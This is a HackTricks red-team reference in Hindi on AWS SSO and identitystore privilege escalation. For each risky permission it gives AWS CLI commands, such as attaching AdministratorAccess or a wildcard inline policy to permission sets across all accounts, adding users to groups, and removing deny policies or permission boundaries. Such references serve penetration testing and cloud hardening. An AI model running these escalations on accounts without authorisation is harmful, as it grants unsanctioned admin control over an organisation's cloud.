AWS - SSO & identitystore Privesc

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

AWS Identity Center / AWS SSO

AWS Identity Center / AWS SSO के बारे में अधिक जानकारी के लिए देखें:

pageAWS - IAM, Identity Center & SSO Enum

ध्यान दें कि डिफ़ॉल्ट रूप से, केवल Management Account से अनुमतियां वाले उपयोगकर्ता ही IAM Identity Center तक पहुंच और नियंत्रण कर सकते हैं। अन्य खातों के उपयोगकर्ता केवल तभी इसे अनुमति दे सकते हैं जब खाता एक Delegated Adminstrator हो। अधिक जानकारी के लिए डॉक्स देखें।

पासवर्ड रीसेट करें

इस तरह के मामलों में विशेषाधिकारों को बढ़ाने का एक आसान तरीका उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति होना होगा। दुर्भाग्यवश, यह केवल उपयोगकर्ता को उसके पासवर्ड रीसेट करने के लिए एक ईमेल भेजने के लिए संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुंच की आवश्यकता होगी।

identitystore:CreateGroupMembership

इस अनुमति के साथ यह संभव है कि एक उपयोगकर्ता को एक समूह के अंदर सेट किया जाए ताकि वह समूह की सभी अनुमतियों को विरासत में प्राप्त कर सके।

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

इस अनुमति के साथ एक हमलावर उस Permission Set में अतिरिक्त अनुमतियाँ जोड़ सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

इस अनुमति के साथ एक हमलावर उस Permission Set में अतिरिक्त अनुमतियाँ जोड़ सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

इस अनुमति के साथ एक हमलावर उस Permission Set में अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।

इन अनुमतियों का दुरुपयोग करने के लिए आपको उस नाम का पता होना चाहिए जो एक ग्राहक प्रबंधित नीति का है जो सभी खातों में है जो प्रभावित होने वाले हैं।

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

इस अनुमति के साथ एक हमलावर अपने नियंत्रण वाले उपयोगकर्ता को एक खाते के लिए अनुमति सेट दे सकता है।

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

उपयोगकर्ता को आवंटित एक दिए गए रोल नाम के लिए STS अल्पकालिक प्रमाण-पत्र वापस करता है।

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का तरीका मुझे नहीं पता (TODO)।

sso:DetachManagedPolicyFromPermissionSet

इस अनुमति के साथ एक हमलावर निर्दिष्ट परमिशन सेट से एक AWS प्रबंधित नीति के बीच के संबंध को हटा सकता है। एक प्रबंधित नीति (अस्वीकृति नीति) को डिटैच करके अधिक विशेषाधिकार प्रदान करना संभव है।

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से ग्राहक प्रबंधित नीति के बीच के संबंध को हटा सकता है। प्रबंधित नीति (अस्वीकृति नीति) को डिटैच करके अधिक विशेषाधिकार प्रदान करना संभव है।

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

इस अनुमति के साथ एक हमलावर किसी परमिशन सेट से इनलाइन पॉलिसी की अनुमतियों को हटा सकता है। इनलाइन पॉलिसी (नकारात्मक पॉलिसी) को डिटैच करके अधिक विशेषाधिकार प्रदान करना संभव है

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

इस अनुमति के साथ एक हमलावर Permission Set से Permission Boundary को हटा सकता है। Permission Boundary से दी गई प्रतिबंधों को हटाकर अधिक विशेषाधिकार प्रदान करना संभव है।

```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ```

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated